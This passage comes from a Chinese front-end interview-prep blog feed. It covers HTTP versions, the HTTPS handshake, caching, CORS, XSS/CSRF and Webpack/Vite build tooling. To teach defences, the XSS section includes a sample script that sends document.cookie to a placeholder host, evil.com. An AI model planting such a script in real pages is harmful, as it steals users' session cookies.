&lt;td&gt;队头阻塞&lt;/td&gt;
&lt;td&gt;有（TCP 层）&lt;/td&gt;
&lt;td&gt;无（应用层），TCP 层仍有&lt;/td&gt;
&lt;td&gt;完全解决&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;服务端推送&lt;/td&gt;
&lt;td&gt;不支持&lt;/td&gt;
&lt;td&gt;支持&lt;/td&gt;
&lt;td&gt;支持&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;加密&lt;/td&gt;
&lt;td&gt;可选&lt;/td&gt;
&lt;td&gt;默认 TLS&lt;/td&gt;
&lt;td&gt;内置 TLS 1.3&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;HTTP/2 多路复用：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;HTTP/1.1（串行请求）
请求1 → 响应1 → 请求2 → 响应2 → 请求3 → 响应3

HTTP/2（并行多路复用，同一连接）
连接 {
  Stream 1: 请求1 → 响应1
  Stream 2: 请求2 → 响应2
  Stream 3: 请求3 → 响应3
}  // 同时进行，互不阻塞
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;HTTP/3 (QUIC) 的优势：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;基于 UDP，0-RTT 建连（更快）&lt;/li&gt;
&lt;li&gt;彻底解决 TCP 队头阻塞&lt;/li&gt;
&lt;li&gt;连接迁移（切换网络不断开）&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;HTTPS&lt;/h2&gt;
&lt;h3&gt;Q6: HTTPS 的握手过程？⭐⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;客户端                                    服务端
  │                                         │
  │── ClientHello（支持的加密套件、随机数1）──&amp;gt;│
  │                                         │
  │&amp;lt;── ServerHello（选定加密套件、随机数2）──│
  │&amp;lt;── Certificate（服务端证书）────────────│
  │&amp;lt;── ServerHelloDone ────────────────────│
  │                                         │
  │  验证证书（CA 签名链）                   │
  │  生成随机数3（Pre-Master Secret）        │
  │                                         │
  │── ClientKeyExchange（加密的随机数3）───&amp;gt;│
  │── ChangeCipherSpec ───────────────────&amp;gt;│
  │── Finished（加密握手信息）────────────&amp;gt;│
  │                                         │
  │&amp;lt;── ChangeCipherSpec ──────────────────│
  │&amp;lt;── Finished ──────────────────────────│
  │                                         │
  └──── 对称加密通信 ────────────────────────┘

  会话密钥 = f(随机数1, 随机数2, 随机数3)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;为什么混合使用非对称加密和对称加密？&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;非对称加密（RSA/ECDHE）：安全交换密钥，但速度慢&lt;/li&gt;
&lt;li&gt;对称加密（AES）：速度快，适合大量数据传输&lt;/li&gt;
&lt;li&gt;结合两者优势：用非对称加密传输对称密钥，再用对称加密传输数据&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Q7: 什么是中间人攻击？HTTPS 如何防范？⭐⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;中间人攻击（MITM）：
客户端 ←→ 攻击者 ←→ 服务端
（攻击者截获并篡改通信内容）

HTTPS 防范手段：
1. CA 证书验证：浏览器内置受信任的 CA 根证书
2. 证书链验证：服务器证书 → 中间 CA → 根 CA
3. 数字签名：CA 用私钥签名，客户端用公钥验证
4. HSTS：强制使用 HTTPS（HTTP Strict Transport Security）
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;HTTP 缓存&lt;/h2&gt;
&lt;h3&gt;Q8: 强缓存和协商缓存？⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;浏览器请求资源
      ↓
检查强缓存（Cache-Control / Expires）
      ↓
命中 → 直接使用本地缓存（200 from disk/memory cache）
      ↓（未命中或过期）
发送请求，携带协商缓存标识
      ↓
服务端检查（Last-Modified / ETag）
      ↓
未修改 → 304 Not Modified（使用本地缓存）
已修改 → 200 OK（返回新资源）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;强缓存：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Cache-Control（HTTP/1.1，优先级高）
Cache-Control: max-age=31536000        # 缓存 1 年
Cache-Control: public                  # 可被代理缓存
Cache-Control: private                 # 只能被浏览器缓存
Cache-Control: no-cache                # 不缓存，每次协商
Cache-Control: no-store                # 完全不缓存
Cache-Control: immutable               # 内容永不改变

# Expires（HTTP/1.0，绝对时间，受客户端时间影响）
Expires: Wed, 21 Oct 2026 07:28:00 GMT
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;协商缓存：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Last-Modified / If-Modified-Since（秒级精度）
Last-Modified: Wed, 21 Oct 2025 07:28:00 GMT
If-Modified-Since: Wed, 21 Oct 2025 07:28:00 GMT

# ETag / If-None-Match（内容 hash，更精确）
ETag: &quot;a3f5c8b2d1&quot;
If-None-Match: &quot;a3f5c8b2d1&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;最佳实践：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 静态资源（带 hash 文件名）：强缓存 1 年
location /assets/ {
  add_header Cache-Control &quot;public, max-age=31536000, immutable&quot;;
}

# HTML 文件：协商缓存
location ~* \.html$ {
  add_header Cache-Control &quot;no-cache&quot;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;跨域&lt;/h2&gt;
&lt;h3&gt;Q9: 什么是同源策略？跨域解决方案？⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;同源策略：协议 + 域名 + 端口 三者相同才是同源。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://example.com       → http://example.com/api   ✅ 同源
http://example.com       → https://example.com      ❌ 协议不同
http://example.com       → http://api.example.com   ❌ 域名不同
http://example.com:80    → http://example.com:8080  ❌ 端口不同
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;跨域解决方案：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 1. CORS（推荐，服务端配置）
// 简单请求（GET/POST/HEAD，Content-Type 限制）
// 复杂请求（PUT/DELETE 等，会先发 OPTIONS 预检）

// 服务端响应头
Access-Control-Allow-Origin: http://example.com  // 或 *
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials: true           // 允许携带 Cookie
Access-Control-Max-Age: 86400                    // 预检结果缓存时间

// 2. Nginx 代理（开发/生产）
// nginx.conf
location /api/ {
  proxy_pass http://backend-server/;
  proxy_set_header Host $host;
}

// 3. Webpack Dev Server 代理（开发）
// vue.config.js / webpack.config.js
devServer: {
  proxy: {
    &apos;/api&apos;: {
      target: &apos;http://localhost:3000&apos;,
      changeOrigin: true,
      pathRewrite: { &apos;^/api&apos;: &apos;&apos; },
    }
  }
}

// 4. JSONP（只支持 GET，已不推荐）
function jsonp(url, callback) {
  const script = document.createElement(&apos;script&apos;);
  const cbName = &apos;jsonp_&apos; + Date.now();
  
  window[cbName] = (data) =&amp;gt; {
    callback(data);
    delete window[cbName];
    document.body.removeChild(script);
  };
  
  script.src = `${url}?callback=${cbName}`;
  document.body.appendChild(script);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q10: CORS 预检请求（OPTIONS）什么时候触发？⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// 简单请求（不触发预检）
// 方法：GET / POST / HEAD
// Content-Type：
//   - text/plain
//   - multipart/form-data
//   - application/x-www-form-urlencoded

// 复杂请求（触发预检 OPTIONS）
// 1. 方法不是 GET/POST/HEAD
// 2. Content-Type 是 application/json
// 3. 自定义请求头（如 Authorization）
// 4. 使用了 ReadableStream

// 预检请求示例
OPTIONS /api/data HTTP/1.1
Origin: http://example.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Content-Type, Authorization

// 预检响应
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: http://example.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Max-Age: 86400  // 缓存 24 小时，减少预检次数
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Web 安全&lt;/h2&gt;
&lt;h3&gt;Q11: XSS 和 CSRF 攻击及防御？⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;XSS（跨站脚本攻击）：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 存储型 XSS：恶意脚本存入数据库
// 反射型 XSS：恶意脚本在 URL 参数中
// DOM 型 XSS：前端直接操作 DOM 导致

// 攻击示例
&amp;lt;script&amp;gt;
  document.location = &apos;http://evil.com?cookie=&apos; + document.cookie;
&amp;lt;/script&amp;gt;

// 防御措施
// 1. 输入过滤（转义 HTML 特殊字符）
function escapeHtml(str) {
  return str.replace(/&amp;amp;/g, &apos;&amp;amp;amp;&apos;)
            .replace(/&amp;lt;/g, &apos;&amp;amp;lt;&apos;)
            .replace(/&amp;gt;/g, &apos;&amp;amp;gt;&apos;)
            .replace(/&quot;/g, &apos;&amp;amp;quot;&apos;)
            .replace(/&apos;/g, &apos;&amp;amp;#x27;&apos;);
}

// 2. 输出编码（根据上下文选择）
// 3. CSP（内容安全策略）
// Content-Security-Policy: default-src &apos;self&apos;; script-src &apos;self&apos;

// 4. HttpOnly Cookie（防止 JS 读取 Cookie）
Set-Cookie: session=xxx; HttpOnly; Secure; SameSite=Strict
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;CSRF（跨站请求伪造）：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 攻击原理：用户登录 A 站后，访问恶意 B 站
// B 站发起对 A 站的请求，浏览器自动携带 A 站 Cookie

// 防御措施
// 1. CSRF Token（最有效）
// 服务端生成 Token，嵌入表单
&amp;lt;form action=&quot;/transfer&quot; method=&quot;POST&quot;&amp;gt;
  &amp;lt;input type=&quot;hidden&quot; name=&quot;_csrf&quot; value=&quot;random-token&quot;&amp;gt;
&amp;lt;/form&amp;gt;

// 2. SameSite Cookie
Set-Cookie: session=xxx; SameSite=Strict  // 完全禁止跨站携带
Set-Cookie: session=xxx; SameSite=Lax     // 允许顶级导航

// 3. 验证 Referer / Origin
// 4. 双重 Cookie 验证
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;知识点&lt;/th&gt;
&lt;th&gt;关键记忆&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;三次握手&lt;/td&gt;
&lt;td&gt;SYN → SYN+ACK → ACK&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;四次挥手&lt;/td&gt;
&lt;td&gt;FIN → ACK → FIN → ACK（2MSL）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HTTP/2&lt;/td&gt;
&lt;td&gt;多路复用、头部压缩、服务端推送&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HTTPS&lt;/td&gt;
&lt;td&gt;非对称传密钥 + 对称加密数据&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;强缓存&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Cache-Control: max-age&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;协商缓存&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ETag&lt;/code&gt; / &lt;code&gt;Last-Modified&lt;/code&gt; → 304&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;跨域&lt;/td&gt;
&lt;td&gt;CORS（推荐）、代理、JSONP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;XSS 防御&lt;/td&gt;
&lt;td&gt;输入过滤 + CSP + HttpOnly&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CSRF 防御&lt;/td&gt;
&lt;td&gt;CSRF Token + SameSite Cookie&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一篇：&lt;a href=&quot;/blog/posts/interview-guide-09-nginx/&quot;&gt;Nginx 面试题&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;涵盖反向代理、负载均衡、静态资源服务、性能优化等核心知识点。&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>前端构建工具面试题（Webpack / Vite）</title><link>http://117.72.32.87/blog/posts/interview-guide-07-build-tools/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/interview-guide-07-build-tools/</guid><description>深入讲解 Webpack 核心原理、Loader/Plugin、Vite 为何快、Tree Shaking、HMR、代码分割等高频面试题。</description><pubDate>Wed, 16 Sep 2026 03:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文包含 25+ 道前端构建工具面试题，难度标注：⭐ 基础 · ⭐⭐ 进阶 · ⭐⭐⭐ 高级 · 🔥 高频必考&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;Webpack 核心&lt;/h2&gt;
&lt;h3&gt;Q1: Webpack 的构建流程？⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;初始化参数
    ↓
创建 Compiler 对象
    ↓
注册所有插件（plugins）
    ↓
确定入口（entry）
    ↓
从入口开始构建模块图（Module Graph）
    ↓
Loader 转换每个模块
    ↓
递归处理依赖模块
    ↓
生成 Chunk（代码块）
    ↓
输出 Bundle 到文件系统
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// webpack.config.js 核心配置
module.exports = {
  entry: &apos;./src/index.js&apos;,       // 入口
  output: {                       // 输出
    path: path.resolve(__dirname, &apos;dist&apos;),
    filename: &apos;[name].[contenthash].js&apos;,
  },
  module: {
    rules: [                      // Loader 规则
      { test: /\.js$/, use: &apos;babel-loader&apos; },
      { test: /\.css$/, use: [&apos;style-loader&apos;, &apos;css-loader&apos;] },
    ]
  },
  plugins: [                      // 插件
    new HtmlWebpackPlugin(),
    new MiniCssExtractPlugin(),
  ],
  optimization: {                 // 优化
    splitChunks: { chunks: &apos;all&apos; },
    minimize: true,
  },
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q2: Loader 和 Plugin 的区别？⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;特性&lt;/th&gt;
&lt;th&gt;Loader&lt;/th&gt;
&lt;th&gt;Plugin&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;作用&lt;/td&gt;
&lt;td&gt;转换单个文件&lt;/td&gt;
&lt;td&gt;扩展构建功能&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;时机&lt;/td&gt;
&lt;td&gt;模块解析阶段&lt;/td&gt;
&lt;td&gt;整个构建生命周期&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;本质&lt;/td&gt;
&lt;td&gt;函数（接收源码，返回转换后代码）&lt;/td&gt;
&lt;td&gt;类（监听 Compiler 事件）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;示例&lt;/td&gt;
&lt;td&gt;babel-loader、css-loader&lt;/td&gt;
&lt;td&gt;HtmlWebpackPlugin、DefinePlugin&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;// Loader 本质：一个函数
function myLoader(source) {
  // source 是文件内容字符串
  return source.replace(/console\.log\(.*?\);?/g, &apos;&apos;);
}
module.exports = myLoader;

// Plugin 本质：一个类，监听 Compiler hooks
class MyPlugin {
  apply(compiler) {
    // 监听 emit 事件（输出文件前）
    compiler.hooks.emit.tapAsync(&apos;MyPlugin&apos;, (compilation, callback) =&amp;gt; {
      // 修改 compilation.assets
      callback();
    });
    
    // 监听 done 事件（构建完成）
    compiler.hooks.done.tap(&apos;MyPlugin&apos;, (stats) =&amp;gt; {
      console.log(&apos;Build complete!&apos;);
    });
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q3: 常见 Loader 有哪些？执行顺序？⭐⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 常见 Loader
// babel-loader    -&amp;gt; ES6+ 转 ES5
// css-loader      -&amp;gt; 解析 CSS 中的 @import 和 url()
// style-loader    -&amp;gt; 将 CSS 插入到 &amp;lt;style&amp;gt; 标签
// sass-loader     -&amp;gt; 编译 Sass/SCSS
// postcss-loader  -&amp;gt; 自动添加浏览器前缀（autoprefixer）
// file-loader     -&amp;gt; 处理图片/字体文件
// url-loader      -&amp;gt; 小文件转 base64
// ts-loader       -&amp;gt; 编译 TypeScript
// vue-loader      -&amp;gt; 解析 Vue SFC

// 执行顺序：从右到左，从下到上
module: {
  rules: [{
    test: /\.scss$/,
    use: [
      &apos;style-loader&apos;,    // 4. 插入 DOM
      &apos;css-loader&apos;,      // 3. 解析 CSS
      &apos;postcss-loader&apos;,  // 2. 添加前缀
      &apos;sass-loader&apos;,     // 1. 编译 Sass（先执行）
    ]
  }]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q4: 常见 Plugin 有哪些？⭐⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const HtmlWebpackPlugin = require(&apos;html-webpack-plugin&apos;);
const MiniCssExtractPlugin = require(&apos;mini-css-extract-plugin&apos;);
const CssMinimizerPlugin = require(&apos;css-minimizer-webpack-plugin&apos;);
const TerserPlugin = require(&apos;terser-webpack-plugin&apos;);
const { CleanWebpackPlugin } = require(&apos;clean-webpack-plugin&apos;);
const DefinePlugin = require(&apos;webpack&apos;).DefinePlugin;
const CopyWebpackPlugin = require(&apos;copy-webpack-plugin&apos;);

plugins: [
  // 自动生成 HTML 并注入 bundle
  new HtmlWebpackPlugin({ template: &apos;./src/index.html&apos; }),
  
  // 提取 CSS 为单独文件（生产环境）
  new MiniCssExtractPlugin({ filename: &apos;css/[name].[contenthash].css&apos; }),
  
  // 清空 dist 目录
  new CleanWebpackPlugin(),
  
  // 定义全局变量（环境变量注入）
  new DefinePlugin({
    &apos;process.env.API_URL&apos;: JSON.stringify(process.env.API_URL)
  }),
  
  // 复制静态文件
  new CopyWebpackPlugin({ patterns: [{ from: &apos;public&apos;, to: &apos;&apos; }] }),
],

optimization: {
  minimizer: [
    new TerserPlugin({ parallel: true }),       // 压缩 JS
    new CssMinimizerPlugin(),                    // 压缩 CSS
  ]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Tree Shaking&lt;/h2&gt;
&lt;h3&gt;Q5: Tree Shaking 的原理？⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Tree Shaking 是基于 &lt;strong&gt;ES Module 静态分析&lt;/strong&gt; 的特性，在编译时移除未使用的代码。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// utils.js
export function add(a, b) { return a + b; }
export function subtract(a, b) { return a - b; } // 未使用
export const PI = 3.14159;

// main.js
import { add } from &apos;./utils&apos;; // 只导入 add
console.log(add(1, 2));

// Tree Shaking 后，subtract 和 PI 会被移除
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;为什么需要 ESM？&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// ESM：静态分析（编译时确定）
import { foo } from &apos;./module&apos;; // 结构固定

// CommonJS：动态加载（运行时确定）
const module = require(condition ? &apos;./a&apos; : &apos;./b&apos;); // 无法静态分析
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Tree Shaking 失效的常见情况：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 1. 副作用代码
// package.json 中声明
{ &quot;sideEffects&quot;: false } // 允许 Tree Shaking
{ &quot;sideEffects&quot;: [&quot;*.css&quot;] } // CSS 文件有副作用，保留

// 2. Babel 将 ESM 转换为 CJS（破坏静态分析）
// babel.config.js
{
  &quot;presets&quot;: [[&quot;@babel/preset-env&quot;, { &quot;modules&quot;: false }]] // 保留 ESM
}

// 3. 导入整个对象
import * as utils from &apos;./utils&apos;; // 无法 Tree Shaking

// 4. 类方法
class MyClass {
  usedMethod() {}
  unusedMethod() {} // 类方法无法被 Tree Shaking
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;代码分割&lt;/h2&gt;
&lt;h3&gt;Q6: Webpack 代码分割的方式？⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 1. 多入口（entry）
entry: {
  app: &apos;./src/app.js&apos;,
  admin: &apos;./src/admin.js&apos;,
}

// 2. 动态导入（懒加载）
const LazyComponent = () =&amp;gt; import(&apos;./components/Lazy.vue&apos;);
// React
const LazyComponent = React.lazy(() =&amp;gt; import(&apos;./Lazy&apos;));

// 3. splitChunks（提取公共代码）
optimization: {
  splitChunks: {
    chunks: &apos;all&apos;, // async | initial | all
    cacheGroups: {
      // 提取第三方库
      vendor: {
        test: /[\\/]node_modules[\\/]/,
        name: &apos;vendors&apos;,
        chunks: &apos;all&apos;,
        priority: 10,
      },
      // 提取公共模块
      common: {
        minChunks: 2,
        name: &apos;common&apos;,
        chunks: &apos;all&apos;,
        priority: 5,
        reuseExistingChunk: true,
      },
    },
  },
}

// 4. runtimeChunk（提取 Webpack 运行时代码）
optimization: {
  runtimeChunk: &apos;single&apos;, // 单独提取 runtime
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q7: contenthash 的作用？⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// contenthash：根据文件内容生成 hash
// 只有文件内容变化，hash 才变化，利用浏览器缓存

output: {
  filename: &apos;js/[name].[contenthash:8].js&apos;,
  chunkFilename: &apos;js/[name].[contenthash:8].chunk.js&apos;,
},

// moduleIds: &apos;deterministic&apos;
// 确保模块 ID 稳定，避免 hash 抖动
optimization: {
  moduleIds: &apos;deterministic&apos;,
  chunkIds: &apos;deterministic&apos;,
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;HMR (热模块替换)&lt;/h2&gt;
&lt;h3&gt;Q8: HMR 的原理？⭐⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;HMR 工作流程：

1. Webpack 监听文件变化，重新编译修改的模块
2. Webpack Dev Server 通过 WebSocket 通知浏览器
3. 浏览器 HMR Runtime 接收更新信息
4. HMR Runtime 下载新的模块代码（JSONP）
5. 执行模块的 accept handler，替换旧模块
6. 如果没有 accept handler，则冒泡到父模块
7. 如果冒泡到入口还未处理，则整页刷新
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// HMR API
if (module.hot) {
  module.hot.accept(&apos;./component.js&apos;, () =&amp;gt; {
    // 组件更新时执行
    renderComponent();
  });
  
  module.hot.dispose(() =&amp;gt; {
    // 模块卸载时清理
    cleanup();
  });
}

// Vue 中（vue-loader 自动处理）
// React 中（react-hot-loader / Fast Refresh）
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Vite&lt;/h2&gt;
&lt;h3&gt;Q9: Vite 为什么比 Webpack 快？⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;对比项&lt;/th&gt;
&lt;th&gt;Webpack&lt;/th&gt;
&lt;th&gt;Vite&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;冷启动&lt;/td&gt;
&lt;td&gt;打包全部模块再启动&lt;/td&gt;
&lt;td&gt;直接启动 Dev Server&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HMR&lt;/td&gt;
&lt;td&gt;重新打包受影响模块链&lt;/td&gt;
&lt;td&gt;直接 ESM 模块替换&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;依赖预构建&lt;/td&gt;
&lt;td&gt;无&lt;/td&gt;
&lt;td&gt;esbuild（Go 语言，极快）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;生产构建&lt;/td&gt;
&lt;td&gt;Webpack 打包&lt;/td&gt;
&lt;td&gt;Rollup 打包&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Vite 开发模式原理：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;浏览器请求 index.html
        ↓
Vite Dev Server 拦截请求
        ↓
按需编译请求的模块（不打包）
        ↓
以 ESM 格式返回给浏览器
        ↓
浏览器通过 &amp;lt;script type=&quot;module&quot;&amp;gt; 加载
        ↓
遇到 import 再向 Vite 请求（按需加载）
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// Vite 开发模式：浏览器原生 ESM
// index.html
&amp;lt;script type=&quot;module&quot; src=&quot;/src/main.js&quot;&amp;gt;&amp;lt;/script&amp;gt;

// main.js（Vite 直接返回，不打包）
import { createApp } from &apos;vue&apos;;  // 浏览器请求 /node_modules/.vite/vue.js
import App from &apos;./App.vue&apos;;       // 浏览器请求 /src/App.vue（Vite 编译）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;依赖预构建（esbuild）：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// vite.config.js
export default {
  optimizeDeps: {
    include: [&apos;lodash-es&apos;, &apos;axios&apos;], // 强制预构建
    exclude: [&apos;my-local-lib&apos;],        // 排除预构建
  },
  // 预构建作用：
  // 1. 将 CJS 转为 ESM
  // 2. 将多文件模块合并（减少 HTTP 请求）
  // 3. esbuild 比 Webpack 快 10-100x
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q10: Vite 的生产构建？⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// vite.config.js
import { defineConfig } from &apos;vite&apos;;
import vue from &apos;@vitejs/plugin-vue&apos;;

export default defineConfig({
  plugins: [vue()],
  build: {
    target: &apos;es2015&apos;,
    outDir: &apos;dist&apos;,
    assetsDir: &apos;assets&apos;,
    sourcemap: false,
    minify: &apos;terser&apos;, // 或 &apos;esbuild&apos;（更快）
    
    rollupOptions: {
      output: {
        // 手动分割代码
        manualChunks: {
          vendor: [&apos;vue&apos;, &apos;vue-router&apos;, &apos;pinia&apos;],
          utils: [&apos;lodash-es&apos;, &apos;dayjs&apos;],
        },
      },
    },
    
    // 代码分割阈值
    chunkSizeWarningLimit: 500, // KB
  },
});
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;性能优化&lt;/h2&gt;
&lt;h3&gt;Q11: Webpack 构建速度优化？⭐⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// 1. 缩小 Loader 作用范围
{
  test: /\.js$/,
  use: &apos;babel-loader&apos;,
  exclude: /node_modules/, // 排除 node_modules
  // 或 include: path.resolve(__dirname, &apos;src&apos;)
}

// 2. 缓存
{
  test: /\.js$/,
  use: [{
    loader: &apos;babel-loader&apos;,
    options: { cacheDirectory: true } // 缓存编译结果
  }]
}
// 或使用 filesystem cache（Webpack 5）
cache: {
  type: &apos;filesystem&apos;,
  buildDependencies: { config: [__filename] },
}

// 3. 多线程构建
const ThreadLoader = require(&apos;thread-loader&apos;);
{
  test: /\.js$/,
  use: [ThreadLoader, &apos;babel-loader&apos;] // 多进程
}

// 4. DLL 预编译（Webpack 4，Webpack 5 用 cache 代替）
// 将第三方库提前编译，不随业务代码重新打包

// 5. resolve 优化
resolve: {
  extensions: [&apos;.js&apos;, &apos;.jsx&apos;, &apos;.ts&apos;, &apos;.tsx&apos;], // 减少后缀尝试
